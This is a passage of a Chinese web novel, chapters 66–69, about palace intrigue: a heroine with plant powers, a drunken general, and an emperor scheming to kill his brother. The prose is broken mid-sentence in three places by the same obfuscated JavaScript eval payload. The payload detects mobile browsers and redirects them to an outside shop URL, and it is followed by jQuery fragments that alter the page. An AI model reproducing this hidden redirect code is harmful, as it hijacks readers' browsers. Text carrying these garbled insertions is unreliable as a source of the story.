众人头一次见到火锅,还是在宫廷御宴上,一时间都有些不知该如何下手。 这个姜念虞也考虑到了,提前培训好了一批侍膳宫女,让她们负责给宴会上的客人讲解何为火锅,并给他们涮菜夹菜。 此刻,她作为侍膳宫女的一员,很自然地来到了周景星身旁,轻声细语地为他介绍了起来。 “大人,此物名为火锅,左边是以鸡汤熬制而成的汤底,加了菌菇、枸杞和红枣,滋味清鲜,十分滋补,您不妨先喝一碗鸡汤暖暖身子。” 她盛了一碗鸡汤端给周景星。 周景星尝了鸡汤,眼中闪过一抹亮光。 不是说宫宴上的菜肴是虚有其表吗,只能看不能吃? 这道鸡汤却是出乎意料的鲜美。 66. 第66章 头一次参加宫宴,周景星对宫里的规矩不甚了解,特意找一位家在京城的同僚打探了一下,参加宫宴有什么需要注意的。 同僚给他的建议是:“宫宴上的菜肴不是给人吃的,是给人看的,你最好事先吃点东西垫下肚子。” 他问及原因,同僚说:“菜肴从御膳房一路送到宴会上,早就冷了,再好的食材也尝不出滋味儿来,此其一。 “其二么,这场宫宴是皇上为你这个大功臣庆功而设,到时候大家的目光都落在你身上,你若是光顾着吃,别人还不知道怎么笑话你呢。” 周景星深以为然。 同僚又补充了一句:“哦对了,酒也要少喝,别人若是朝你敬酒,你别实心眼儿地一干到底,略微沾一下唇就行了,除非是皇帝给你敬酒。 “若是喝醉了在宴会上耍起酒疯来,你这个镇北侯可就要沦为笑话了。” 周景星将这些忠告都记在了心里。 然而现实却是—— 他用眼角余光朝宴会上的其他人看了看,发现那些大人竟然都在埋头大吃,就连皇帝也不例外。 每个人桌上的火锅都在咕嘟咕嘟地冒着泡,热气缭绕,整个大殿烟火气十足,香味弥漫。 这和同僚说的好像不一样? 不过既然旁人都在吃,并未注意他这边,那他多吃点也没关系吧? 周景星将一碗鸡汤喝光了,连鸡汤里的鸡肉也吃了。 这鸡汤也不知是怎么熬的,鲜美难言,还带着丝丝清甜,实在好喝得紧。 在周景星放下碗时,姜念虞继续介绍道:“右边是用牛骨熬制成的麻辣汤底,滋味辛辣,吃起来会比较刺激。您喜欢吃什么菜,奴婢将菜下到锅里。” 周景星扫了眼桌上的菜,林林总总不下十几样,有的他认得,有的却压根儿不认识,未免露怯,他道:“我自己来。” 他爱吃肉,所以率先拿起一盘子肉,一股脑地倒进了锅里。 不防溅了些汤汁在手上。 姜念虞可算找到机会了,拿出手帕要给他擦拭。 周景星被她碰到,反应很大地将手抽了回来,“不,不用了。” 常年待在军中,他没有什么和女人相处的经验,这宫女的手白嫩细腻,一碰上来,他就感觉浑身不自在。 姜念虞:“……” 虽然被甩开了,但刚才触碰到的那一瞬间,她脑海里的异能源种亮了。 很好,她异能升九阶有望了。 那控制李淳冒充皇帝的计划就暂时搁置吧。 姜念虞不停地涮菜捞菜,将烫好的菜放到周景星碗里。 周景星深刻感受到了饭来张口的快乐,也就不再坚持自己下菜了,一心埋头大吃。 这个牛骨汤好辣,但吃起来也是真带劲儿,浑身都烧起来了。 周景星吃得满头大汗,却停不下来。 姜念虞给他倒了杯酒,那酒清澈晶莹,呈现一种十分漂亮的鲜红色,透着一股果香味。 “大人,这是葡萄酒,是果酒,清冽甘醇,不醉人的,用来解辣再好不过,您尝尝。” 在周景星的认知中,果酒说是酒,其实就是发酵过的果浆,连小孩子也可以喝,确实不醉人。 只不过他以往见过的果酒都是比较浑浊的,没有这般澄澈清冽,仿佛血色的甘泉。 光是看着就让人口舌生津。 周景星端起酒杯,尝试着喝了一口,酒液甘醇丝滑,丝毫不辛辣,回味带着甜,他忍不住赞了声:“好酒。” 将杯中剩下的酒一饮而尽。 在他没有注意的角度,姜念虞露出了一丝笑意。 别人喝的酒都只是普通的葡萄酒,而周景星喝的这一壶,却是她用异能种出来的葡萄酿造而成,喝起来口感棒极了,甜丝丝的,但后劲却很大。 只消喝上两三杯,周景星就会醉过去。 然而事情并未如她预料的那般发展。 周景星明显很馋那酒,喝过一杯之后却不再喝了,只以冰粉来解辣。 冰粉上撒了葡萄干、干果碎以及甜甜的桂花蜜,吃起来清甜冰凉。 周景星十分钟爱这道甜品,续了好几碗。 作为一个侍膳宫女,姜念虞不好明着劝酒,只能暗戳戳将他的酒杯加满,又不断给他夹辣汤里的菜。 然而她的小心思并未得逞。 这个周景星,想喝就喝啊,那么克制做什么?早点喝了早点醉倒不好吗? 宴会上的其他人,可都已经喝得醉醺醺的了。 唯独他,还在不停地干饭,切成薄片的牛羊肉都干掉十几盘了。 姜念虞看着他的吃相,觉得找到了知己,这人一定是个很好的饭搭子。 她们俩要是坐一桌,那必定是风卷残云的景象。 可惜她今天的目的不是看他干饭,而是要把他灌醉。 当周景星直接端起一碗冰粉往嘴里倒时,姜念虞灵机一动,离开了一会儿,回来时端着一大碗冰粉。 她往冰粉里倒了两杯酒,又多加了一些小料,搅拌了一番,让葡萄酒和冰粉充分融合。 周景星正吃得嘴里冒火,见她端了冰粉来,接过来就往嘴里灌。 灌了大半碗下去,咂摸一下,觉得好像有些酒味? 没等他想明白,脑袋就变得晕乎乎的了,看人也出现了重影。 见周景星醉了,李淳大手一挥,让人将他扶下去。 姜念虞顺理成章地扶着周景星离开了。 从宴会厅到休憩的屋子,一路走过来,姜念虞的异能从八阶不断往九阶进发。 将人放到床上,姜念虞仿佛一个尽职尽责的宫女,给周景星脱了鞋,除了外衣,还拧了帕子给他擦了脸和手。 做完这一系列事情,她的异能……嗯?为何还是八阶? 难道是接触时间不够? 姜念虞直接抓住周景星的手,然而半晌过后,异能还是没能突破。 八阶和九阶之间,仿佛存在着一层无法打破的壁障。 不会吧,这个世界不允许九阶异能者的存在? * “皇上,嫔妾查到,顺王的腿被治好了,如今已经能够行动自如了。” 丽嫔向李淳禀报。 宿醉醒来的李淳乍一听到这个消息,猛地坐直了身体,“什么?顺王的腿已经好了?被谁治好的?” 丽嫔:“神农谷神医余岁。” 丽嫔退下后,李淳沉思半晌,下令:“召顺王进宫。” 顺王府。 裘长史向顺王禀报:“王爷,宫里来人了,皇上宣您进宫,说是许久没见到您,甚是想念。” 顺王正在院子里跑步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666495|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自从腿好了之后,他就爱上了这项运动,恨不得一天绕着院子跑上百八十圈,好切实感受到自己的腿有多么健康。 闻言他步子未停,喘息着冷笑了一声:“李淳想我?他怕不是想我死吧?好端端的他怎么突然想起我来了?他召我进宫肯定没安好心,你去告诉来人,就说我病了,病得起不来床,没法进宫。” 来传口谕的是保和殿的大总管戴秉承,听说顺王病了,而且连床都下不来,他忙问:“王爷得的什么病?可有请太医来看过?” 一面说着一面往里进,要亲自去看一看。 裘长史也不敢狠拦,怕让戴秉承看出不对劲来,一面应付着他拖延时间,一面冲自己的跟班小太监使了个眼色,让他赶紧去通知王爷装病。 等戴秉承到达顺王居住的正院时,顺王已经躺在床上装起了病人。 他本来就恢复健康没多久,在床上躺了多年,所以装起病人来很有一套,瞧着嘴唇苍白,面容憔悴,俨然一副病重的样子。 可惜戴秉承这一趟过来,是带着皇帝的严令来的,皇上让他务必要将顺王“请”进宫,必要时可以动用禁军。 “王爷怎么病得这么重?快来人,将王爷抬进宫里,让太医瞧瞧。” 候在门口的几名禁军不由分说闯进来,想将顺王连人带榻一块儿抬走。 然而没等他们靠近床榻,一条粗壮的蟒蛇冷不丁从床底下窜了出来,冲着这些禁军嘶吼。 血盆一样的大口骇人至极,这些禁军吓得连连后退,有一个人却是没动。 其他人还以为他是勇气可嘉没被吓着,殊不知这人是被吓得大脑一片空白,动都动不了。 甚至还尿了裤子。 蟒蛇吞吐的蛇信子嗅到这股气息,嫌弃地退了回去,但那只硕-大的惊悚的蛇头依然露在外面,一双黄褐色的无机质竖瞳盯着众人,让人心惊胆战。 禁军们朝戴秉承看去。 戴秉承:你们都看咱家干什么?咱家也怕啊! 他颤声开口:“裘长史……” 裘长史到现在还对自家王爷养的大蟒蛇心里犯怵,但见戴秉承等人被吓成那样,他忽然就不那么怕了。 他挺了挺胸,一派骄傲淡然道:“咳,这是我家王爷养的一条小宠物,有些调皮,突然冲出来吓着你们了,对不住哈。” 戴秉承等人:“……” 你管那么粗的一条蟒蛇叫“小宠物”? “废物!一条蟒蛇就把你们吓退了?” 听了戴秉承的禀报,李淳怒斥一声。 戴秉承:“皇上,那条蟒蛇足有人腰粗呢,一张嘴像是能把人整个吞进去,实则忒吓人……” 在李淳不满的盯视下,戴秉承的声音越来越小,不敢再为自己辩解了。 墨春端了一盏茶来呈给李淳,自从先前发生了侍茶宫女在茶水里下毒一事后,墨春就将李淳的衣食住行各项事务都接手了过来,不再假于他人之手。 李淳喝了口墨春泡的茶水,香醇回甘,怒气平复了些。 墨春趁机开口:“皇上,不如让我去试试吧。” 李淳:“春儿,你有什么法子?” 墨春:“雄黄乃是蛇类的克星,顺王养的那条蛇,长得再粗壮,也还是怕雄黄吧?” 李淳哈哈一笑:“好,还是春儿聪明,去吧。” 67. 第67章 墨春带了更多的禁军来到了顺王府,这些禁军身上都挂着装有雄黄粉的荷包,一路走来,散发着浓郁的雄黄味。 当先两人抬着一口箱子,箱子里装着雄黄粉和雄黄酒。 到了顺王的屋子外,墨春命人在屋子四周撒下一圈雄黄酒,进屋后,又冲着床底下泼洒雄黄粉。 蟒蛇被刺激得从床底下窜了出来,一路跑出了屋子,溜到了湖底下泡着,连头也不露了。 床上装病的顺王,就这样被抛下了。 墨春冲着裘长史拱手一礼:“裘大人,皇上十分担心顺王殿下,咱家这就将殿下带走了。” 冲着那些禁军一挥手。 禁军们上前,将顺王连榻带人一块儿抬走了。 眼见着自家王爷被抬走,裘长史心急如焚,这可怎么办?要是王爷在宫里不慎暴露腿已经好了的事实,被皇上治一个欺君之罪…… 躺在榻上的顺王:李淳这是要做什么?难道他知道自己已被治好的事? 眼睛睁开一条缝,看了一圈给他抬榻的禁军,将手从被子里露出来,对着空气做了个手势。 隐藏在暗中的暗卫接到主子的命令,暗自行动起来。 顺王被一路抬进宫里,安放在了一座独立的楼阁中。 李淳并不在这里,楼里只有一些木头人似的宫女太监。 顺王还以为进宫后等着自己的是一堆太医,还打好了腹稿,要如何装病才显得真实。 谁知这楼里一个太医也没有,说对他甚是想念的李淳也不见人影。 李淳到底在搞什么鬼? 很快顺王就知道了。 楼里不知怎的起了火,火势蔓延得极快,一下子就烧到了他的床边! 顺王明白了,李淳这是想烧死他! 不管自己是不是装病,腿有没有好,对于李淳来说都不重要,重要的是,只要自己活着,对他来说就是一个隐患。 事后李淳只消惩罚一些“粗心”的宫人,再假惺惺地掉几滴泪,追悔一番,就能将事情推得一干二净! 炽热的火焰吞噬而来,顺王几乎没有犹豫就做出了决断。 这个时候他也顾不得会不会暴露双腿已好的事实了,保住性命才是最要紧的。 命没了,就什么都没了。 顺王掀开被子,从床上一跃而下,疾步往屋外冲。 三步,两步,一步—— 太好了,他逃出生天了! 然而冲出去的那一刻,顺王整个人都僵住了。 因为他看见,李淳正带着人朝这边走来,他身后跟着一大群人,太医、侍卫、宫女…… 而在他身后,明明方才火势熊熊的楼阁,在他冲出来的那一刻,忽然间火就灭了,丝毫没有着火的迹象。 仿佛刚才那场要将他吞噬的大火只是他的一场幻觉。 顺王浑身一寒,明白过来自己中计了。 李淳一脸惊讶地看着他,“皇兄,你的腿好了?何时好的,朕怎么从未听说过?” 接着又笑道:“太好了,朕真为你感到高兴。” 顺王心里冷嗤一声,数年不见,他这位好弟弟演技见长啊。 他冷淡道:“我的事,何时需要向你报备?你千方百计宣我进宫,意欲何为?” 搁以前,李淳绝不会容忍别人这样跟他说话,因为他才是那个说话不留情面的人,但如今的他,已经成长了。 言语上的些许冒犯,于他而言实在不值一提。 尤其想到,面前嚣张的人很快就要成为一具尸首,他就更开心了。 李淳露出一抹三分无奈、三分包容、四分失落的笑容:“二哥,许久未见,你说话还是这般呛人,罢了,谁叫你我是血脉相连的兄弟呢?做弟弟的自不会跟你计较。” 顺王:呕! “许久未见,你还是这么令我恶心。” 李淳:“……” 他握了握拳,在心里反复告诉自己,不要跟死人计较。 进屋后,李淳示意太医上前为顺王诊脉,一副很关心他病情的样子。 顺王:“不必了,我压根儿没病,不过是不想进宫而编出来的谎话罢了,你也不必在我面前演戏,你什么样,我还不知道?少在这儿给我演什么兄弟情深。” 众人:“……” 李淳摆了摆手,让这些人都退下。 “许久没和二哥坐在一起喝酒了,来,我敬你一杯。” 厅中,李淳和顺王隔桌而坐,亲自给他斟了一杯酒,而后举起酒杯向他敬酒。 顺王没动。 谁知道那酒里有没有毒?他可不敢喝李淳这个阴狠歹毒的贱种给他倒的酒。 李淳将话挑明:“二哥可是怕这酒里下了毒?” 说着将杯中酒一饮而尽,朝顺王亮了亮杯底,表示这酒没毒,他已经喝光了。 顺王却依旧没动。 酒中无毒,不代表杯中无毒。 总之宫里的任何东西他都不会入口的。 刚才他只是在这楼里待了一阵子,就不知不觉中了招,出现了幻觉,谁知道李淳还准备了什么阴招等着他? 李淳无奈道:“罢了,二哥不喝就不喝吧,其实这次我找你来,是想跟你说声对不起,太后娘娘用巫蛊娃娃咒我固然做得不对,但我也不该一气之下将她移送宗人府——” 一个小太监忽然走进来,低着头禀报道:“皇上,太后娘娘,哦不,是罪人杨氏死了。” 顺王蹭一下站了起来,“你说什么?母后她……死了?她好端端的怎么会——” 想到什么,他蓦地转头,目光射向李淳,“是你做的对不对?!” 李淳也有些惊讶,“不是,我没有,二哥——” 这话是真的,他没有让人对杨氏下手,他顶多只是让人多“关照”杨氏一下,让她没有好日子过。 他为何要杀了她?他巴不得杨氏活得久一点,生不如死地活着。 他真正想杀的,是对自己的皇位有威胁的顺王。 可惜顺王哪里肯信? 他心里已经认定是李淳出手杀死了母后。 恨恨盯了李淳半晌,他扭头走了,步子迈得又快又急。 李淳盯着他的背影,眸光晦暗。 顺王刚才那个眼神,显然认定是自己杀了杨氏,将自己当成杀母仇人了。 一旦让他出了宫,他必定会想方设法为杨氏报仇,到时自己的性命和皇位都会受到威胁。 但若在这种时候拦下他,不顾一切将他毒杀在宫里,那自己的名声就彻底完了。 等着自己的会是言官不断的弹劾,是史官的口诛笔伐…… 朝中好不容易弹压下去的世家势力,定然又会借机起复,他集中到手中的权力,会再次出现动荡。 斟酌权衡再三,李淳最终还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678182|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放弃了毒杀顺王的计划。 罢了,就让他再多活些日子吧。 想到刚才那个来报信的小太监,李淳拧了拧眉,若非这个小太监冒冒然闯进来,那自己的计划就成了。 “刚才那个来报信的小太监呢?”怎么一转眼的功夫就不见人影了? 墨春一层层问下去,结果底下的人没一个知道那小太监是谁,又是从哪儿冒出来的。 李淳:“难道还闹鬼了不成?去查,朕倒要看看,这小太监到底是谁的人。” 未央宫。 “……得知太后娘娘去世,顺王殿下立刻就出宫了。”石永竹向姜念虞禀报。 姜念虞:“太后怎么忽然去世了?是意外还是人为?” 石永竹:“奴婢这就去查一查。” 查完了回来禀报:“娘娘,奴婢查到,太后娘娘因劳累过度,在井边打水时没能站稳,一头栽了进去,淹死了。” 姜念虞:“听起来很合理,但我总觉得这里头有些蹊跷,太后死得太巧了。” 刚好在李淳和顺王两人见面的时候,太后的死讯传了过来。 一下子就激化了两人的矛盾,让两人都有了弄死对方的理由。 还有顺王,不是说要暂时隐瞒已经治好腿的消息吗?怎么进宫后,反而自己暴露了? 晚上,姜念虞本想偷溜出宫,找顺王问问白天到底是个什么情况。 这时,她前两天派去给韩观送信的小红回来了。 她在信里问韩观有没有找到美男子。 小红这家伙,一去就是两天,肯定是在外面贪玩儿了,以它的速度,本来一个时辰就能飞个来回。 她在它脑袋上敲了一下,“你还知道回来啊?” 小红气愤地冲她唧唧叫唤,不过这愤怒不是对着她的。 她奇异地领会了它的意思——有人冲它射箭,想狩猎它,它报复了那个人类,这才回来晚了。 姜念虞:“好吧,看在你情有可原的份上,就不扣掉你的伙食了。” 她给它喂了异能、凤枣以及珍珠豆。 小红吃饱了,这才将腿一伸,露出腿上的细竹管来。 姜念虞取下细竹管。 韩观在信上说已经找到了符合要求的美男子——被周景星俘获的北周将军拓跋烈,此人也是北周的二皇子。 周景星率军回朝时,带回来的一众战利品中,也包括拓跋烈。 如今拓跋烈被关押在宗人府中,一举一动都被严厉看管着。 此外,韩观还在信里告诉了她一件事——白天他被李淳召进宫,施展了一场火焰幻术。 这场幻术的观众只有一人,那就是顺王。 姜念虞顿时明白了,难怪顺王会暴露,感情是被幻术迷惑了,以为屋子着火了,在那种情况下,他当然是保命要紧。 只是她很疑惑,李淳为何会让韩观施展幻术迷惑顺王? 难道他知道顺王的腿已经好了,想借此来试探他,让他暴露? 但李淳是怎么知道的? 这件事只有她,顺王自己,太后以及顺王府的裘长史知道。 她自己肯定是没有透露给李淳的,顺王和太后自然也不会,那么是裘长史将这件事透露出去的?他是李淳安插在顺王府的眼线? 不对,还有一个人也知道—— 李玄璋。 她之前在信里告诉过他。 68. 第68章 如今的姜念虞,已是八阶异能者,凡是有植物的地方,她都能如入无人之境。 那些植物不仅能为她所用,还能向她传递各种信息——比如谁从它们面前经过了,谁向它们撒尿了,谁曾经给它们浇过水…… 在植物的掩护下,姜念虞都不需要借助密道,便直接化身为暗夜幽灵,悄无声息地出了宫,来到了顺王府。 她落在一棵玉兰树上,将手掌贴在树枝上,用异能与之交流:“裘长史有没有将顺王治好了这件事透露出去?” “裘长史是谁?” 姜念虞:“就是顺王府的管家。” “管家是什么东西?” 姜念虞看着脚下的这棵玉兰树,长得挺板正的,怎么听不懂人话呢? 她换了棵香樟树,重复了一遍刚才的问题。 香樟树:“嘶,好冷啊,你能不能帮我穿件衣裳呀?” 姜念虞给它输了点异能。 香樟树:“呼,真暖和呀,你真是个大好人。” 姜念虞再问,香樟树又说:“好痒呀,你能不能帮我挠挠痒呀?” 姜念虞:“……” 换了好几棵树,她才总算找到一棵能交流的。 这是一株梅花树,就长在裘长史房间外的院子里,主树干已经有碗口粗了,可见活了不少年头。 梅花树有点话痨,杂七杂八地告诉了姜念虞不少信息,她筛选一番后得出结论,裘长史对顺王忠心耿耿,并不是别人安插在他身边的奸细。 所以,顺王已好这事,是李玄璋透露给李淳的? 他想利用李淳除掉顺王? 不,不只是这样。 如今的局面,顺王已好,再加上他本就是先帝的嫡子,一旦李淳这个皇帝行差踏错,那么顺王就能利用舆论将他拉下来,顺理成章地上位,所以李淳势必要除掉他,免得他威胁到自己的皇位。 而顺王必然不可能引颈就戮,又因为太后去世,李淳是最大的嫌疑人,顺王就是不为了皇位,也要对付李淳,为太后报仇。 两人已然势同水火,不死不休。 鹬蚌相争,渔翁得利。 李玄璋就是那个渔翁,他要的就是李淳和顺王这两人兄弟残杀,到时候他就能出来捡漏了。 姜念虞越想越生气,她和李玄璋明明是盟友,他却将她蒙在鼓里,丝毫没有向她透露,甚至将她也当成了棋子利用。 接着她又想到了一件事,姜赦生辰宴那天,李淳陷害他通敌卖国,她明明已经将信件给销毁了,吞进了肚子里,为何之后又冒出来一个士兵呈上了所谓的证据? 原先她以为是李淳做了两手准备,同时安排了两个人。 现在想来,后面那个士兵,会不会是别的什么人安排的? 或者说,就是李玄璋? 找到那个士兵,事情就清楚了。 如果他还活着的话。 偌大一个京城,想要找到某个人,无异于大海捞针。 若是之前,姜念虞也没办法。 但现在,她却可以尝试一下。 姜念虞来到姜府。 这里已经被封了,大门上贴着封条,挂着锁链。 她越墙而入,径直来到了那天举办宴会的大厅。 大厅外面有一株百年丹桂,如今依然郁郁葱葱,在夜色下静静矗立着。 姜念虞来到树下,将手掌贴在树干上,一股磅礴的异能灌入其中。 霎时间,这棵早已过了花期的桂花树,爆出了满树赤色的桂花,在这冷寂的夜晚散发出阵阵清香。 “老桂,帮我找个人。” 她细细描述了一遍那天高举“证据”跑进宴会厅的士兵形象。 桂花树:“没问题。” 平时它当然做不到,但是有了这个人类提供的力量,它可以将根系不断蔓延出去,直到找到那个人为止。 常人看不见的地底下,桂花树的根系循着目标的轨迹不断延伸,根系又生出了根系,像一张大网,将一条条街道、一座座宅院覆盖进去。 姜念虞闭着眼睛,她的意识与桂花树连通,如同触手般也跟着延伸到了远处。 在这个过程中,桂花树所见所闻所感,也同步传到了她这里。 她听见了婴儿的啼哭声,女人的说话声,男人的鼾声,虫子的嘶鸣声…… 在信息狂流的轰炸下,姜念虞的脑袋钝痛不已,太阳穴一突一突。 就在她要受不住时,一道身影闯进了梅花树根的覆盖范围内。 那是一个黑衣人,在深夜昏暗的街头一路疾跑,快得像一阵风。 他在上面跑,梅花树根在地底下蔓延,速度并不比他慢。 桂花树:“找到了,就是他。” 姜念虞没有停止输送异能,“跟着他,看看他要去哪里。” 最后,黑衣人来到了一座院落,进入了一间屋子。 屋中有一方火盆,盆边是一张书案,书案后坐着一个人。 黑衣人单膝跪地,称其为“主人”。 “主人”搁下手中的笔,抬起了头,赫然是李玄璋。 桂花树下,姜念虞倏的睁开了眼睛,眼中满是惊色。 李玄璋居然回了京城! 她一点也不知道! 这场大海捞针式的寻人,让她异能消耗巨大,身体脱力般滑倒在地。 姜念虞索性靠坐在树上,喘息了一会儿,理了下思路。 原来那天姜赦被带走,李玄璋才是罪魁祸首!他在里头真是出了好大一份力! 他为何要这么做?协助李淳陷害姜赦,他能得到什么好处? 不,不对,他不是在协助李淳,而是在害他,他要坐实李淳陷害忠良这件事! 等时机一到,他就可以揭发李淳干的事,将其拉下皇位—— 若是大臣们得知,身为皇帝的李淳为了一己之私,竟然干出通敌卖国、陷害忠良这等丧尽天良之事,岂能容他继续坐在皇位上? 大齐皇室又不是只有他一根独苗苗,如今顺王可是已经被治好了。 况且,顺王原本就是被当做储君来培养的,只是因为从马上摔下来成了残疾,才与皇位失之交臂。 如今李淳既然不配为君,那他们当然要替天行道,将其废除,另择明主! 但李淳自然不会束手待毙。 到时候,他和顺王之间,势必会有一场终级交锋。 李玄璋的目的,就是让两人两败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687593|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俱伤吧? 他可真是打得一手好算盘! 为达目的,连她爹娘的性命都不顾—— 虽然她是穿来的,心底对姜赦夫妻并未有多么深厚的感情,但李玄璋又不知道。 在他看来,姜赦就是她爹。 然而他下起手来依然毫不手软。 姜念虞感到一阵心寒。 一阵风过,头顶落下了一场桂花雨,红色的桂花撒了她满头满身,香气袭人。 姜念虞闭上眼睛,呼吸间尽是桂花的冷香。 她在心底做下了一个决定。 既然李玄璋不仁,那就别怪她不义。 翌日清晨,姜念虞在一阵窒息感中醒来。 玄猫趴在她头顶,尾巴缠着她的脖子。 小红躺在她胸口,屁股对着她。 她伸手揉了一把那肉嘟嘟的屁股,熟练地将这俩从身上挪开,坐起了身。 在她身后,玄猫和小红几乎同时醒了过来,两只对视一眼,一秒干起了架。 战况激烈。 猫毛飞,羽毛飘…… 最后以玄猫咬住了小红的翅膀,小红叼住了玄猫的屁股作为结束。 姜念虞对此习以为常,头也没回,径直去了净房,上厕所,洗漱。 刷牙时,她思考着一个问题。 为何她的异能就是升不到九阶呢? 难道这个世界不允许九阶异能者的存在? 昨晚下半夜她去了宗人府一趟,一是跟植物们打听了下太后的死因。 太后果然不是自然死亡的,而是有人在暗中朝她射了一颗石子,太后受到外力的撞击,这才跌入井中。 而射出石子的那个人,正是昨晚的那个黑衣人,李玄璋的手下。 所以事情已经很明朗了,这一切,都是李玄璋这个大反派在幕后操纵的。 李淳估计还以为李玄璋被困在瘟疫爆发的蜀州呢,殊不知,李玄璋已经悄悄回到了京城,在暗中搅风搅雨。 此外,她还顺便去了拓跋烈那里一趟,先将他迷晕了,而后跟他接触了半晌。 然而她的异能依然没有要升级的迹象。 虽然八阶也很强了,但升到九阶岂不是更有保障? 因为一旦突破到九阶,她就能到达一个新的境界——与天地自然融为一体,从天地间吸收木系异能,而不再需要依赖旁人。 更重要的是,升到九阶,她还可以开拓出一个木系空间出来。 到那时,她便能够真正的逍遥于天地间了。 从净房出来,姜念虞听见了一阵“咚、咚、咚”的鼓声。 皇城之内,鼓声可不寻常。 她让石永竹去打听一下。 石永竹回来告诉她:“娘娘,是裴少清裴大人敲响了午门外的登闻鼓,状告皇上毒杀了裴祭酒,要为父伸冤。” 姜念虞夹菜的动作一顿,“嗯,我知道了。” 继续吃饭。 石永竹满脸问号,娘娘是不是表现得太淡定了些? 姜念虞当然淡定了,因为她早就预料到了事情的发展。 裴少清敲登闻鼓状告李淳,只是个引子而已。 下一步,顺王估计也要出场了。 69. 第69章 饭后,姜念虞没有送晟儿去上学。 前朝已经乱起来了,之后李淳和顺王说不定还会兵戎相见,而晟儿上学的文华阁也在前朝,到时候要是被波及到了怎么办? 学一天不上没啥大不了的,但要是命丢了一条,那可就完犊子了。 “石永竹,你跑一趟文华阁,替晟儿请一天假,就说……我病了,晟儿得留下来侍疾。” 石永竹应了声,去了。 晟儿疑惑地看着姨母,刚才吃饭的时候姨母吃了好几碗呢,一点也不像是生病的样子呀。 “姨母,你病了吗?” 姜念虞:“是啊,姨母来了葵水,肚子痛得很,都没法走路了,晟儿留下来陪着我,好不好?” 晟儿连连点头,扶着她坐到暖烘烘的火盆边,“姨母快坐下。” 拿过毯子盖在姨母肚子和腿上。 又小大人似地对春樱道:“春樱姐姐,你去给姨母煮一碗红糖姜茶吧。” 春樱和自家娘娘对视一眼,笑着去了。 她记得娘娘的葵水不是今天,但既然娘娘那么说了,定然有她的道理,那她就好好配合吧。 火盆里,银丝炭烧得通红,但没有丝毫烟气。 姜念虞躺在躺椅上,翘着脚,脚边躺着玄猫,旁边坐着晟儿。 左手撸一把猫,右手捏一下晟儿的脸蛋,别提多惬意了。 她叫夏桃拿了铁丝网架来,架在火盆上,在铁丝网上放上了荸荠、糍粑还有栗子。 荸荠生的也能吃,但烤熟之后热烘烘的,清甜脆嫩,滋味更好。 更妙的是,荸荠的皮不用她自己剥,夏桃用小刀将荸荠的皮削得干干净净,放在碟子里,她用签子叉住就能送进嘴里。 糍粑是御膳房送来的黄米糍粑,烤熟后烫手得很,但这丝毫阻止不了姜念虞,她拿着在手里左右倒腾了几下,就迫不及待咬了一口。 软糯清香,还拉丝,蘸上细碎的红糖粉吃,更是甜到心里。 火盆边的小炉子上还放着一口小奶锅,锅里的奶茶咕嘟咕嘟地冒着泡。 姜念虞一边享用着美食,一边和晟儿玩成语接龙的游戏。 晟儿忽然惊呼一声:“姨母,外面下雪了!” 小孩子对雪是没有抵抗力的,大眼睛眨巴着问:“姨母,我可不可以到外面去玩一下?” 姜念虞摸摸他的脑袋,给他输入了一股异能,很痛快地放行了,“去吧。” 晟儿欢呼着跑了出去。 趴在姜念虞脚边的玄猫起身伸了个妖娆的懒腰,也翘着尾巴出去了。 之前不知跑到哪里去的小红飞了回来,丢了只野兔子下来,得意地冲玄猫叫唤,在它头顶盘旋。 玄猫猛地窜了上去,要不是小红闪得快,就要被玄猫抓下来了。 但还是被抓掉了几根羽毛。 小红气急败坏,一阵叽叽嘎嘎,想冲下来叼玄猫。 玄猫却机智地跳到了晟儿身上。 小红平时虽然调皮又嚣张,但它到底还是知道这宫里谁最大,谁又是最招惹不得的,要是它敢伤了那个人类幼崽,那个女人肯定不会放过它。 它只能在半空中来个急刹车,悻悻飞走了。 晟儿咯咯笑,以为小红在跟他玩耍,还招呼它:“小红,下来玩呀。” 姜念虞捧着一杯奶茶,看着几个小家伙闹腾,唇边不由绽开一抹笑意。 这边厢热闹温馨,另一边,敲了登闻鼓的裴少清却在遭受鞭笞酷刑。 这是敲登闻鼓告状的必经流程。 敲登闻鼓,冤情便能直达天听,由皇帝亲自审讯。 但皇帝哪有那么多时间天天处理百姓的案子? 所以便设定了这样一个高门槛—— 来敲登闻鼓,被皇帝召见之前,得先受五十鞭刑。 五十鞭刑,是能当场打死人的,所以如果不是有天大的冤情,没人会来敲登闻鼓。 “啪!啪!啪!” 行刑者手中的鞭子,一下又一下重重鞭打在裴少清身上,他外面的衣服都被抽烂了,露出了里面的丝絮。 丝絮飘飞到空中,和落下的雪花融为一体。 